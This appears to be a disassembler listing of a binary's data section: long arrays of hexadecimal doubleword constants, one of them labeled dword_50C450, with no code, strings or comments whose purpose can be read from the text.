		dd 0EF970A86h, 0DD881075h, 0B57290FFh, 53154AE6h, 12AA5B5Fh
		dd 0B9A5FF64h, 707CF3C2h, 9165395h, 9B067F96h, 946E2937h
		dd 64D960C8h, 23E12589h, 5BB93816h, 520498B7h, 872ADB80h
		dd 0D3C7CEB9h, 0F5B54539h, 65406070h, 0C9390F6Eh, 4466743Dh
		dd 8D890301h, 0B0173251h, 95448F7Eh, 6151909Dh,	249900F9h
		dd 5B73FD3h, 9E0EECE1h,	60110B09h, 0F7BF70E6h, 41C8092Dh
		dd 60D471E4h, 4EB5626Ch, 282DA30Eh, 85130ECEh, 72D01AE5h
		dd 0B59D8BC8h, 0C199AEE5h, 93C17DEh, 0CEA0E925h, 906A21E4h
		dd 41C6350Fh, 0E20BA929h, 0B0008018h, 76C82B26h, 7E1A0057h
		dd 15F04ABh, 91A8598Dh,	35B8D18Bh, 9D36E954h, 1F2D2532h
		dd 5BBD7285h, 485AE209h, 0DBF7A8Dh, 37980CB6h, 0D03BCB69h
		dd 0BF15E6C8h, 8129FE3Ch, 32D90831h, 3DB6F927h,	6059F8A5h
		dd 50A6092h, 5A34E2D2h,	843461ABh, 0D381102Ch, 0D5441F30h
		dd 20A5D40Ah, 8093FE29h, 2056195Dh, 0C30461B4h,	89FDEDA0h
		dd 0BF022BF2h, 23834C66h, 0DB4847FEh, 0AB83704h, 52FA4FB0h
		dd 5B49D96Ah, 0B293E65Ah, 0E92D3016h, 0BCE7974Fh, 0B9BAF45Eh
		dd 0FC19FB6Bh, 83804F5Ah, 0BEA34391h, 521A6200h, 0D7734F85h
		dd 8F5B514Ah, 0FCEE1B2Bh, 950E4467h, 0A7D0F3BBh, 0A871F7FBh
		dd 0FB8682F6h, 7C258BBAh, 67CDC5Ah, 4F619230h, 60C233ADh
		dd 83D046D1h, 752704E9h, 0C9B7F4h, 9802A6A8h, 7D208D09h
		dd 20504B03h, 0AA450EA1h, 0E6D03400h, 0DA292001h, 7DEF061Dh
		dd 27880D5Fh, 9C8B0F26h, 0CAE2BF61h, 4F0195E4h,	737A0Ah
		dd 576FAE90h, 48C0B558h, 0A527799Bh, 0A34DAA0Bh, 0CFAD92C0h
		dd 9BB61FB9h, 33A1898Ch, 3D71F481h, 0C28860F5h,	33718E4h
		dd 958E08C1h, 581964B5h, 26C6EEAh, 2D8D2907h, 1D85090Ch
		dd 0F9F781FBh, 0A2F8042Fh, 8390A722h, 1169520h,	0B2E6F781h
		dd 0C2B83D59h, 98A23DFDh, 0FFFBECC0h, 0B85C9097h, 96720040h
		dd 0DAC97532h, 5F241B3Dh, 0F008BF3h, 0A1959FFh,	347CB85Dh
		dd 0AD944B4Ah, 79DB8E5h, 78947DFAh, 51746929h, 82AEF9A5h
		dd 5819531h, 4DE1FF02h,	0D93AE097h, 0ECC52378h,	0B408408Ch
		dd 479C2D5h, 1440D08h, 37A58708h, 0ED2000B8h, 9F26BD7Dh
		dd 0FB0A8178h, 3473B0A4h, 78810345h, 9E2B041Dh,	7D2683D1h
		dd 3EDBA8E8h, 0A846241Bh, 0AD8D1340h, 0B760254Ch, 7DF201A4h
		dd 411EBCDCh, 3B14409Eh, 0E3A97884h, 350005B8h,	1277FE19h
		dd 2D808198h, 0A5F104E1h, 0D92A6090h, 0A61148Dh, 6E27C3C9h
		dd 0DF168BE4h, 0AE06E922h, 24DF0EF1h, 606196B1h, 8723D017h
		dd 0EAE65B00h, 43CBEDCEh, 44C81EDDh, 0C26D80E4h, 33619C02h
		dd 3C698524h, 0EDEEAA4h, 0CB8037D9h, 0BA0590EBh, 6C7BC98Dh
		dd 60BE8FEBh, 0FA475B96h, 9E5600DFh, 0B927BB58h, 61001BD7h
		dd 5939BF50h, 9D905EF2h, 48C2A1EDh, 2039AF9Dh, 0B216101Eh
		dd 8B290223h, 5B501C6h,	5F27E550h, 78AA7B6Ah, 480056B1h
		dd 8157DAE4h, 5452CFh, 685B3A5Dh, 0FB4D1D6Ah, 10B75612h
		dd 950EA9A9h, 0A6B3D1E6h, 0BB4DE0C0h, 11873A49h, 0C229A797h
		dd 0BD5F0581h, 150E03CFh, 60EA6358h, 0B3403756h, 0C1E4C7Fh
		dd 91BD89DBh, 59B86163h, 64B8A2EEh, 710E807Fh, 1201BEE9h
		dd 2546FAAh, 9B6D89F6h,	0C28CC29Dh, 0C520840Ah,	6BDD6987h
		dd 0C7FC0E6Ah, 0EF54180Bh, 0BFD507F6h, 0C1D19BB7h, 0A48DB58Bh
		dd 5F4D860h, 8DE53579h,	6708EFCBh, 7DB83211h, 0DABC1B50h
		dd 5E0813DCh, 9D6DBC8Bh, 9289FE8Eh, 0E9B9F264h,	0FEA42AB9h
		dd 8DDF0480h, 0FE044689h, 0C01DF46Eh, 45312D1h,	0DB2434C4h
		dd 0C5A9D381h, 0B5311481h, 0A2D6CE25h, 560000A9h, 0CC685FF9h
		dd 597B0B51h, 0ACF0DD8Ah, 6452331Eh, 0CFE46D67h, 8D3556C2h
		dd 0A1B66A46h, 90001E10h, 0E2C4A0BFh, 33EF507Ch, 0C97801A9h
		dd 0B5A2A307h, 7E087C8h, 0F2CB269h, 7A8CA018h, 0C049D1C7h
		dd 8C16B8CFh, 89AC9B50h, 19C99D13h, 2680E0B9h, 4EEEE8BBh
		dd 9F617A24h, 0C7CCB802h, 0B5A6C685h, 0BD60B96Fh, 4FE666h
		dd 0DA3CF9CAh, 0B9B58950h, 0D83D9B99h, 599D42DCh, 4041351Dh
		dd 476FEEh, 63FDCC6h, 41DEF3Dh,	8529B612h, 0DA2FE431h
		dd 332BE931h, 3A6C5357h
dword_50C450	dd 0F4783480h, 150EF750h, 0C35B5FE7h, 83110C30h, 0C1019844h
		dd 0CE107AE8h, 4C0F020Eh, 0B45803C4h, 0EB37E710h, 10783636h
		dd 58B8E764h, 29CD501Bh, 18032128h, 1133458h, 0AF1B2457h
		dd 0F781A700h, 5C79A521h, 85A18377h, 0B42C1437h, 9E2FFB2Ah
		dd 0A5F8073h, 796EF7A3h, 82B5908Dh, 6702552Fh, 45587CEh
		dd 8B1416B6h, 0D302918h, 17A885B5h, 9C2F82C3h, 946243C7h
		dd 0C6F00EA6h, 86E4A62Fh, 8DA2D34Ah, 6DDC5C00h,	63A8FE90h
		dd 0EFAB401h, 56963D37h, 51277920h, 0F633F6D3h,	0FD44FF0Eh
		dd 99345900h, 5B31FE89h, 2E822C96h, 60E97648h, 955B3511h
		dd 0C21FC4B4h, 58051B3h, 755D8986h, 26B714CAh, 0E11187B1h
		dd 0FD9D081Dh, 0F6BF5019h, 30ECDE1Eh, 20A513FDh, 0AC82E69Eh
		dd 907C7062h, 0A507AB40h, 636704BFh, 0E00D9125h, 620202E2h
		dd 0AFF4C5F6h, 86C760F9h, 8135C0C4h, 91DE0EBh, 0BD334709h
		dd 5B2FE2A9h, 0D67DA63Ch, 0EE1E2901h, 8A0FF0E4h, 61B7D83Ah
		dd 0C2832409h, 9D79B704h, 0BF1703A0h, 72F01014h, 0C55A8D01h
		dd 50891502h, 0DC707C20h, 0B47B3101h, 2B305DD2h, 42BCFA30h
		dd 88C12AB5h, 235AA082h, 149B795h, 88535E4Fh, 80C82AF3h
		dd 6BBC01F7h, 8B69835Fh, 8C07EDFh, 50F5853h, 5B61D8BFh
		dd 0F081B66Ah, 2B422D9h, 1F889FFBh, 0E945256Eh,	4FC8CB05h
		dd 0A65A5FE3h, 85C4E06Eh, 303F5AC1h, 99589C0h, 0B1500440h
		dd 0D80BB92h, 0AF47B6BDh, 323B58CEh, 0F9198077h, 5031E521h
		dd 0FED2E8Ah, 0DE64A420h, 2E5CF901h, 0C005740Ch, 0C1701A19h
		dd 0DDA422A9h, 41D5B860h, 20BD6C23h, 2052B415h,	9511F2A4h
		dd 9CD0BE7Bh, 5A5C7F2Fh, 9604ABE1h, 0F3C0A4DBh,	840706DDh
		dd 0D59E615Fh, 57DC5C0h, 7B12EE7Fh, 18F8304Bh, 9659DB05h
		dd 800FB852h, 99729561h, 0C8A05BAFh, 0A01CD27h,	4A3C0989h
		dd 0CD6E3E3Ah, 6140FEB4h, 965FDDB7h, 2BE06020h,	0FAAB072Ah
		dd 0C3DCE77Bh, 95A7F2C1h, 23CE6E24h, 71582514h,	521BF120h
		dd 0B0B29F8h, 0F4F9399Dh, 0F41AF509h, 5000F4C0h, 68C2638Eh
		dd 0A0C439DCh, 8119F5CCh, 2A5D0202h, 27B602ADh,	0FA612190h
		dd 3779A729h, 1454012Fh, 2A8F3E67h, 6EAAAF84h, 0B7B90005h
		dd 546F154Fh, 5623584Bh, 892E1D20h, 0F22D46BDh,	96094B99h
		dd 51010344h, 0E95FF98Ah, 0C86FF37Ch, 6412301Ch, 0B7F6C18Bh
		dd 6DD7FCE0h, 0ECED290Dh, 947E846Ah, 0D2F7A875h, 0B44F11B7h
		dd 8B1D90AAh, 0B72550FEh, 50460031h, 4D69E509h,	0B56DEF24h
		dd 97D85825h, 8006EB7h,	1361A4B6h, 52483Ch, 18749627h
		dd 8B8CE124h, 13F8CCDAh, 0B6060B3Bh, 5223E03Fh,	37950414h
		dd 0B8180B0Ah, 55A65A1Eh, 0D4F58CE0h, 0A12E2B00h, 0C0368D5Eh
		dd 70BB0450h, 0A83F1C5Ch, 9D0304C5h, 30B8162Dh,	0B8C15FCh
		dd 8B60D1E4h, 6605CF64h, 61A114BEh, 0CFA31A85h,	5E41FF40h
		dd 611FE70Bh, 0EF80C340h, 125661ECh, 0E35F17B7h, 79892F2Bh
		dd 9E90CE6h, 84018D55h,	138EC0A2h, 0FFD84C03h, 81BB0FD1h
		dd 0E25223B3h, 54AB8B1Eh, 510EF606h, 0E443F36Dh, 8CAAC4CDh
		dd 0A33BB31Dh, 0BC59C96Ah, 8C630040h, 79F76425h, 0BD740136h
		dd 0E7A246B2h, 769629DDh, 0E0DA155Ch, 3F06756h,	0D24C6898h
		dd 46085FE2h, 15124B15h, 9DC18FCh, 0F0AE943h, 2625371h
		dd 604093Ch, 8BD8AB45h,	0E8C13735h, 95190039h, 4400025Ah
		dd 2E7C34D6h, 2E47D36Ch, 922E222h, 62A20D85h, 4BFE6159h
		dd 758C9340h, 24CE0003h, 0A427B90Eh, 9F09AE40h,	71F1D905h
		dd 15A4A059h, 0A542C0BFh, 0C56E5Eh, 625DE451h, 0F17C37F7h
		dd 0BBF3CE84h, 9672B9D1h, 47B62012h, 0F941CC4Ah, 5EBB6A78h
		dd 5DA94578h, 5912FE86h, 37AFE15h, 0F4230F00h, 0EECA325Dh
		dd 9D85D812h, 542278E6h, 0ED21097Eh, 9D29022Eh,	327E131Dh
		dd 4FC60BC0h, 0BDF607AAh, 60EEEC51h, 0E67B2BAFh, 16897035h
		dd 71E43645h, 1B25B5ECh, 1C2271C6h, 40BD7501h, 0ED4BB733h
		dd 6DAC7384h, 248F169Eh, 9EA2AAh, 0E152FE7Ah, 59F343h
		dd 8BAAE75h, 14823C81h,	2588450Bh, 2971015Bh, 906B1DBDh
		dd 48D9550h, 639D12B7h,	75A9DF8Fh, 0E2F73110h, 7FEC1097h
		dd 0F0F207EDh, 20DB9B03h, 44D16373h, 71625F00h,	0BF0FC82Bh
		dd 808B4EDAh, 0E91A1069h, 824FF6BCh, 2B1DE59Dh,	0D452280Bh
		dd 902166BFh, 285925D5h, 297F9DC4h, 9168928h, 0E7F11895h
		dd 0F3EB00DAh, 3BB7F581h, 9C09BC7Ah, 4402D62Ah,	9F7BD6h
		dd 91703273h, 0A2121192h, 0A5DD8E1Ch, 68488A84h, 5B82C2AAh
		dd 2090C75Ch, 2FE9BD82h, 64C9BF5Ch, 248D01C7h, 1A9F7D47h
		dd 2F4ACDEDh, 0B55BFA8Ch, 4CDDFDC6h, 13AC0496h,	581E84C4h
		dd 0CA328138h, 151BA51Fh, 892DABFEh, 80126CC4h,	0BFE6A5F3h
		dd 25C1A910h, 69B57660h, 61551857h, 35CDB56Ah, 9171C6EFh
		dd 8DD84B8Ah, 19EA01E5h, 2A9C6E04h, 7DF70181h, 0B9676B05h
		dd 30D8550Bh, 2304B69Ah, 9F51B00h, 0A22EDA90h, 2BEB25D2h
		dd 825BCBC2h, 3B6EAC70h, 900E87B4h, 6F36FC8Dh, 0C54E15F4h
		dd 1E2620B8h, 0C01C02Bh, 0D21105E5h, 0BEC33697h, 0E20ED4E9h
		dd 2074FD90h, 0D4613F2Dh, 46B72767h, 0C200D237h, 0F442AD17h
		dd 876309BFh, 0D67101F6h, 0FB86602Dh, 0E9959E14h, 0D55294FBh
		dd 0ABA5A385h, 1523B93Eh, 71B78209h, 0BD2B58BDh, 5E51A997h
		dd 4828109Eh, 0D85346Bh, 47A2AAACh, 92BB6623h, 4FA25C02h
		dd 0A9D689E9h, 1E4D9D61h, 77132B09h, 9700337Bh,	315638E7h
		dd 0BC00BDE3h, 8BF840E9h, 97E1FFF9h, 38444A14h,	0C1C309BFh
		dd 4F71573Eh, 9D254146h, 390780B7h, 3507A95h, 10782E1h
		dd 73D28160h, 41482559h, 21AD1E4h, 51595C61h, 3DD5D2CDh
		dd 0B5C20E92h, 8ECD6049h, 8B66B8C0h, 470B97FEh,	74822037h
		dd 5C201F7Ah, 0DC8A2E43h, 0DE7A4D01h, 424068A6h, 28123D68h
		dd 1B5CE4CEh, 5B970170h, 0B1A278DCh, 20F54001h,	699D891Dh
		dd 0CB80C050h, 8F1A9566h, 90646456h, 11FF20FBh,	2209FD5Eh
		dd 75C1C8B0h, 905013A2h, 8873A053h, 3C2F7Ch, 0BB521030h
		dd 69B51567h, 40F15F4Eh, 0C3B1246Bh, 9CC1DBh, 90567068h
		dd 6203950Fh, 7997558Fh, 0ADC0186Dh, 1F454CDCh,	0EE55A330h
		dd 0DE806029h, 0A0096DECh, 52781477h, 0F4519C47h, 0F9CCDE00h
		dd 30B33E1Eh, 3D952F09h, 0C597309h, 7091DBA5h, 290225ABh
		dd 0E9775915h, 10F9E4B8h, 4A027995h, 803609CDh,	0E37D03F0h
		dd 0DE4B2909h, 0E9F145h, 1391B382h, 3B091E2Ch, 73F4D1F3h
		dd 18155937h, 8CA54BD6h, 0D94B8A33h, 1AC80F9Ah,	89B069C0h
		dd 54C21757h, 2C608FCh,	14B8D944h, 16CEFE25h, 116B5B5h
		dd 0D56BE220h, 12B0726Dh, 0D2AD0446h, 0EE0033B8h, 5E87B0A7h
		dd 7C502BB7h, 1239B057h, 0E35BE577h, 0BEA64F23h, 60B7C4A0h
		dd 20730958h, 3E30F732h, 0F97548D9h, 5450A15Ah,	0BA6FAB1Dh
		dd 0FAE55000h, 5ED4D2F5h, 422CA2Fh, 6800130Ch, 0B53DC6FBh
		dd 0E384B725h, 0E18297F4h, 40AA5E4Ah, 0F3A00965h, 39342EFDh
		dd 9A531040h, 3B36C468h, 18C85090h, 6E5F5B3Bh, 0A73000Bh
		dd 37621D7Fh, 0AB070401h, 0D459BD89h, 2006999Ah, 0DDE71A6h
		dd 596209A5h, 0BA73E923h, 0E303E51h, 0D342BDFDh, 31516554h
		dd 0C003DE6Fh, 0C611BE70h, 0BB2F0065h, 6F4EE46Ch, 27D221E9h
		dd 0CE4AA4E3h, 336B909h, 86FD9F0h, 4ADB3C1Dh, 85A17356h
		dd 92899B2Eh, 0FCEB62AFh
		dd 0F2504C5Ch, 2CBD9705h, 4ADDE500h, 4E34351h, 0B5096C57h
		dd 0BB56D001h, 9E9035F5h, 0B79A15A5h, 996D7776h, 638954E0h
		dd 566F02A7h, 5CE155AEh, 1D25D378h, 440CCCECh, 794B450Ch
		dd 7EC4B7EDh, 0D68EB8A1h, 0DE1C721Fh, 7E33FD2h,	0DA6E5Eh
		dd 0CAFFEA51h, 1266C989h, 0E7DC8A4Ah, 0D7DA4BAEh, 81E43C84h
		dd 4214985h, 0C1C00FF8h, 0EA65C71h, 0B4282B1Fh,	671CE840h
		dd 22D89B6h, 0C8B28D02h, 0A97950F3h, 0EF0F5900h, 0FEB35DFh
		dd 0C0761524h, 16F73BC0h, 0F43A845Fh, 749631CCh, 0F6051031h
		dd 301DB201h, 4B013C98h, 67209FE3h, 0A742FFFAh,	3A4A7DB5h
		dd 0B76BD256h, 83010082h, 0EBF9DABh, 15271815h,	0E9A992E9h
		dd 0D01E22B8h, 3AC14784h, 2074C937h, 1271826Eh,	0AC167309h
		dd 6572D66Bh, 7A175EFCh, 0DAC1A6C1h, 352FDA75h,	5720EF06h
		dd 16BF776h, 6035B2C8h,	7A299D0Bh, 0C25B6A0Bh, 554CD629h
		dd 13836900h, 28BD4BA6h, 20D36E14h, 0C2FA0391h,	78C4F39Dh
		dd 0C00209C5h, 0AA461AFh, 476657FAh, 210B59Ch, 0D86E884Ah
		dd 7E66C500h, 6FECC0D0h, 0AD690105h, 0E27443D4h, 0DD8F877h
		dd 4C04E290h, 5F7FBB18h, 0EE7D33BCh, 0CD5C4B2Ch, 0E66E2E15h
		dd 4C1F7600h, 0D058D01h, 9F339697h, 1F0E3CB5h, 59C722B2h
		dd 237683E9h, 9BB788D5h, 9368009Fh, 0F4FD108Bh,	88051287h
		dd 4FF843B8h, 0EF09D9A1h, 80B79E2Eh, 80C5BAFDh,	9CC00AA0h
		dd 999810Eh, 0F51AC6EAh, 82BCB75Dh, 140B6638h, 18A1EA82h
		dd 80814AFBh, 5096F0C3h, 25BFF570h, 4ECBBBEFh, 508C56D7h
		dd 8376B0B7h, 0EF7C1C03h, 4F3CCBC2h, 979AB4E6h,	0ED965B27h
		dd 42F0C7D9h, 8EC36050h, 0F8141970h, 0A4865F61h, 9BA6ABAh
		dd 0F6F3DADFh, 0B9460175h, 8306E922h, 395FA123h, 5E2D9AF5h
		dd 9A00554Bh, 0C5A0ABC8h, 988B67FEh, 0FC296B8Dh, 71444E71h
		dd 0DBB7865Dh, 0E451496h, 5FCBA62Bh, 613EE9A3h,	6C041CEDh
		dd 0FCE4809Dh, 5BDE29h,	4BB20E8Fh, 32F77749h, 48C62C79h
		dd 0ED4D6160h, 0A4FA202Ah, 9D03D6CFh, 5241B44h,	96242F30h
		dd 0D470F17Bh, 24A67515h, 163DA529h, 682655BDh,	18C1AB8h
		dd 33F04211h, 73B378C9h, 1B670E30h, 0ABBF2039h,	12AFF3F9h
		dd 0F3528C9Ah, 40FC2B75h, 71181C51h, 0F7434500h, 0E6DB188Eh
		dd 0DFDBA16Ah, 262282CDh, 4B725048h, 31A2DC16h,	0CF21852Eh
		dd 1C85C5A5h, 0D47B27B7h, 1473DD0h, 0B048A2FCh,	7FCFD71Eh
		dd 48D5F083h, 2F7F297Dh, 6BCC6156h, 252CF99Dh, 0ED95BBCEh
		dd 3B2741C4h, 2154888Ah, 0BDC61730h, 422AE889h,	0FC9C00E8h
		dd 79765CA1h, 293A01E7h, 44755BCh, 44DDE0E2h, 8072DB02h
		dd 5F5BE0E3h, 0F7D59110h, 0E7F893E0h, 7081F417h, 59DC604h
		dd 5F258ABCh, 6DADDFE5h, 884AC0FFh, 75B82240h, 6291BD5Bh
		dd 907F9D03h, 0F1B2E904h, 22C4FF71h, 0CDBB1339h, 0B068261Bh
		dd 977ACF98h, 1B59CC73h, 0D4001918h, 51CB2B9Fh,	9950CA52h
		dd 898880F6h, 82CE791Fh, 0DFAAFE00h, 3A510386h,	903D98F3h
		dd 932590F7h, 5B043253h, 0BEF6A75Ch, 521869B0h,	0C4019FE7h
		dd 0E86E384Fh, 4A2F722Bh, 0AFE1757Fh, 0B80C6F0h, 0BB801541h
		dd 7D111493h, 2776960Eh, 0D8ED0B4Dh, 1C7517E0h,	2483E062h
		dd 0DE6E05C0h, 10E4A95Ch, 902C1849h, 168F08B5h,	74401044h
		dd 0B6057ADAh, 8CDD9F00h, 0ED17021Fh, 0D3AA0E5Ah, 50295F65h
		dd 0F073FF98h, 200C3A00h, 1FDCA64Ah, 8F180252h,	905D5FE5h
		dd 5D703AD3h, 0AEE7096Dh, 2483B854h, 4A5114F8h,	3E53BF5h
		dd 0DEAE7CE2h, 8F515E00h, 0A14728A4h, 4362C535h, 19E104B3h
		dd 8ADBBB32h, 30C019C8h, 27E18CDFh, 3EE217F5h, 0DCAF3A57h
		dd 3216D47Ah, 128DD3h, 0DC43AEB8h, 0FD2BFA12h, 0AA41DE7Ch
		dd 0E781757Ah, 4C8E5568h, 794730C0h, 0D94E8B5Bh, 9822AE8Ah
		dd 15A9B780h, 0CC7B0289h, 0FA5E8BCEh, 0C029CE20h, 439D038Fh
		dd 0C7487FCFh, 6E90D3A1h, 0F80192h, 0AD2165BFh,	50D81A48h
		dd 0E4B65324h, 4771040h, 0E7F70012h, 3B3254D8h,	79C905Fh
		dd 950600DCh, 0F5BF51B1h, 764EC66Bh, 1DC88C9Ah,	0B0370BC0h
		dd 0CDF500F7h, 0D10757F4h, 7417EB81h, 8A04583Dh, 9BE80E87h
		dd 54D9DB1h, 0D51120EAh, 98030E95h, 96B1408Dh, 0AB01C289h
		dd 4090BC3h, 0F31217D9h, 276E5A78h, 2A1D3700h, 50657ADh
		dd 56808A26h, 0C620190h, 0C67F285Dh, 7D14CAACh,	82E4A596h
		dd 411B4FB7h, 0F93C2E0Ch, 0D0052BE8h, 0D3C5F106h, 0F16D52BFh
		dd 0FFDF7EABh, 10CF1387h, 0AE1265CBh, 9EBF6609h, 8AD1D1BEh
		dd 0BE328D0Fh, 134582E2h, 0CA9F1452h, 0DC055E2h, 90A41435h
		dd 614393EFh, 6622A6A6h, 9A75C4A6h, 5EF35200h, 0DB1D2E2Fh
		dd 0F2610FB5h, 0CA2D4BCh, 0C544880Fh, 8709BF7Dh, 745F7308h
		dd 88139039h, 6C04800Eh, 0F1FE8B61h, 15BA2D0Eh,	3A5BE0ACh
		dd 4870E645h, 0A4C0EE57h, 47D786BBh, 0F135B4Ch,	4171E4DAh
		dd 7E0BD4B2h, 4EE97530h, 6CE9241h, 0C9719D10h, 0CDD0FCF1h
		dd 0A8E14188h, 7497EC07h, 0CF16026h, 7EE1A667h,	0FBCC7FEAh
		dd 6057C118h, 91081E66h, 0C300BFEEh, 0E5F04414h, 7109325Ah
		dd 0D05B61EFh, 7D7EC4CEh, 8FCCE819h, 0E0F12923h, 0B7C82BACh
		dd 50F5404h, 6681D18Bh,	0E9010139h, 8A678A02h, 990CDDDDh
		dd 88081B32h, 0D20260B3h, 0AE947B51h, 25BE74ABh, 0BDC126FEh
		dd 63841781h, 0E814ED9Dh, 15A298CAh, 8DB08326h,	46972F35h
		dd 9D08E570h, 7F0A7932h, 9882857h, 9B579B4Bh, 597013A1h
		dd 2298A61Bh, 3BE9863Eh, 22052E87h, 9A58328h, 6604FE1Fh
		dd 28F55003h, 7D8992FBh, 0C0171014h, 2F0538ADh,	0D68A980h
		dd 2EBDB55Fh, 0AA790301h, 40F03970h, 0FEB8613Ah, 795361D1h
		dd 608DB8EAh, 1533ABFh,	2C4E559Dh, 0F6E526ECh, 7977A1CBh
		dd 327E03Bh, 0CD20D5A4h, 0FFB91318h, 571CD808h,	1A00427Dh
		dd 23F13C7Eh, 140C5DB6h, 980DA5CDh, 2B114177h, 0BEB698D4h
		dd 42FA80E0h, 730B8B4Ch, 0D8C83450h, 3FFCEDF1h,	0A51CC16Eh
		dd 0DDBD2FB8h, 0CCE83C92h, 0A567E74Fh, 4D25AE9h, 2277984h
		dd 5D57E780h, 1B91D63Fh, 83CE2880h, 0FF004C8Eh,	51603AFCh
		dd 0BDEF81h, 5A736595h,	32D48052h, 0B7615B2Fh, 0FCD20024h
		dd 2B29839Fh, 0F1356D14h, 719513C5h, 0FA8A2E41h, 0A72B880Dh
		dd 9A70B30Ch, 1940C009h, 0F0605F7Bh, 60821431h,	7904F27Fh
		dd 6CD5B6BAh, 7A4E162Eh, 0AA7D38DDh, 8B73D4A8h,	0C2F45218h
		dd 9DC75D56h, 29824095h, 7D1AC985h, 3A403ECFh, 9FA666FDh
		dd 0C631AF61h, 0D6BF0F00h, 5E949D61h, 0F8296B5Dh, 802C099Dh
		dd 95186CC1h, 0CD5BBD09h, 8D85D345h, 753A5FF1h,	0A004E678h
		dd 7EFD4A9h, 5D45D30Ah,	0C1E50499h, 1931E1h, 0A056E1FFh
		dd 27C5D3EFh, 82655B45h, 5B04F309h, 0AA38D096h,	4A41C90Bh
		dd 7203C28Dh, 219D2CA2h, 0AA45A724h, 0BDD2D410h, 4EE4A808h
		dd 1696CA99h, 0F9AD0474h, 0BA1F76E8h, 0CD9A4F80h, 0CEEAD5C8h
		dd 58DE9F74h, 0B213AF4Ah, 1A0B188h, 12655FCh, 133BDE8Bh
		dd 842FDB89h, 0BEA856E5h, 0A4A7D371h, 5C8A6786h, 19F16BD5h
		dd 0B55D4900h, 0B16EFC33h, 9A9EC5h, 2FEAA87h, 0F774C780h
		dd 33C57F00h, 0BA60CB0Ch, 3BE609CAh, 0D84295Bh,	0D587ED2Fh
		dd 0B0BC5Eh, 0B3CD8BFh,	0D249EC7Ah, 8A60C002h, 0D98F0FCFh
		dd 15E833EEh, 6050CD00h, 0C4BA3FB6h, 79D90554h,	0F9048961h
		dd 2A1BCF6h, 1CC58E9Ah
		dd 0B079CE92h, 0BF186200h, 1DC0FB0h, 2B66F496h,	431FFDBDh
		dd 0A8BCB778h, 604A8080h, 27208B03h, 35F0BBD3h,	685B00EDh
		dd 52A33FC7h, 58C0FCDCh, 77B49EB1h, 4BA17838h, 6038EFC0h
		dd 6E745ACCh, 3EFC2E82h, 95C84E27h, 985310DBh, 9D184759h
		dd 810FBF98h, 0BB00FDB9h, 19DB9DBDh, 25E9B8B3h,	477C0237h
		dd 74130BF4h, 0A0249B2h, 0F782B187h, 3FC42405h,	62C02827h
		dd 0ABBD57D2h, 0C998CA83h, 37BEA4E7h, 0E8886585h, 0D92089B0h
		dd 385EA7CFh, 3DBB04DEh, 0EC2EAF8Dh, 0FB91DDD3h, 1C8C1DB8h
		dd 4037B8CCh, 5CAC783Ch, 0CA909F93h, 89B227BDh,	0A5BD3120h
		dd 992EF104h, 0B5173AEEh, 98B8F0E9h, 0CC01EA70h, 0BCAD817Bh
		dd 0C03EAEF9h, 96F2FAA5h, 4CE0BF01h, 535058C1h,	1C5152C8h
		dd 0AE310F5Fh, 0C2134E5Ah, 727B96AEh, 0CF3570h,	53F698D1h
		dd 7C4C45E0h, 0B59D0B0Bh, 0C761901Bh, 0DD2C4E1Ah, 0B00636CCh
		dd 2AAF125h, 0FD08338h,	47DB1885h, 0C2F04B83h, 32F28827h
		dd 5FC01ED9h, 1A25400Eh, 0F6B378DBh, 5EFC5B58h,	88AA7F94h
		dd 338FFB0h, 12C05E1Fh,	0C78B374Bh, 6B48B787h, 3A829258h
		dd 0BC40C554h, 390DEDF0h, 74B592h, 0F7972591h, 776A2ED2h
		dd 0FD8B5E16h, 0BF521D20h, 0A598017Ch, 2B585B69h, 1AA56E9Dh
		dd 0E715133Bh, 3B55B07Ah, 97610FC0h, 60202893h,	0BF59589h
		dd 5E8FEAB5h, 94900E83h, 8B80FB5Fh, 0C409B8D7h,	299577A0h
		dd 7D2864D9h, 7FCC174Eh, 909E90AFh, 689BC6B3h, 818D2903h
		dd 89653B23h, 1462F5AFh, 51592D76h, 494FB040h, 0FC149D5Bh
		dd 717B5D5Fh, 967DDC00h, 53E94D4Bh, 80F93DBFh, 11633322h
		dd 1F18FEF1h, 0D31F0FE8h, 0CD9C0095h, 25C6D135h, 63017B06h
		dd 28048559h, 3A3E5FF9h, 0F130E43Dh, 0EE3678D6h, 0D781027Ah
		dd 10CE9E91h, 0EC375Dh,	0A6DF0AD3h, 495BC1Fh, 35A70E32h
		dd 0EC2BC34Eh, 8D5A5B76h, 36347020h, 806909FDh,	0F1629D7h
		dd 5437D169h, 0FF00DC4Fh, 56C999F4h, 2BB7950h, 32AA1A80h
		dd 0B857F88Bh, 4E27E7A3h, 29FECCD3h, 6A958577h,	0A7FE7467h
		dd 28DE9E5Ch, 20916A12h, 359D0B1Dh, 891491FCh, 40917C07h
		dd 30BE011Ch, 0DF994207h, 445BD33h, 0DDC320AAh,	344489F1h
		dd 8B2E4B95h, 0C3B94E7Eh, 540428A8h, 8F0FA3C2h,	0B91D8325h
		dd 0D3FB4BCh, 0E1DD1C4Eh, 0DC88202Ah, 0A30070D4h, 76F71B15h
		dd 10013C72h, 2B0CC185h, 0D827BE5Bh, 0AB1A9DF9h, 0B0C81374h
		dd 0B631219h, 0F3048610h, 167B483Fh, 92E8CA46h,	712DAB58h
		dd 0A7D13D29h, 0B4DE8CA6h, 8321E35Fh, 1FF1FE12h, 0F5C9CCEDh
		dd 37B794D8h, 0BDA10095h, 7E64A6E2h, 7C678B9Dh,	6709DC23h
		dd 0FC0A55A1h, 0BBC7129Fh, 9CEAEB64h, 1541A9FBh, 0EE99343Ah
		dd 0D9D09409h, 0A80F9D79h, 39859D44h, 0E89BBA6Ah, 0E3FB28C0h
		dd 0BB04C90Fh, 50D631D1h, 9B2A5A8Dh, 1464DC5Fh,	0DB05E509h
		dd 200AA83Dh, 0C8A11235h, 0C9AB1405h, 0AA9205E0h, 0AB54C099h
		dd 0CD4B298Ah, 1122BD8h, 508DB2F2h, 72DB6A46h, 71145EC0h
		dd 0B8014739h, 803DF268h, 802B96EBh, 3489D91Dh,	479FED8Ah
		dd 0DED3C0ABh, 1A5297B4h, 0DC536Ch, 312D3E95h, 13882568h
		dd 0B01D9C05h, 2821AE9h, 0F80D95EEh, 7A9A979Fh,	0EA4847Fh
		dd 6A5A41CEh, 4A3300AEh, 0A9965BD7h, 8A664CF1h,	95D677C1h
		dd 532BE081h, 0ED7B1A9Dh, 0FCE1C1BFh, 220F2034h, 7325AFE2h
		dd 0B673D0B7h, 0B99584FCh, 0E2A6E81Ch, 0D8D7DB50h, 6D97FC79h
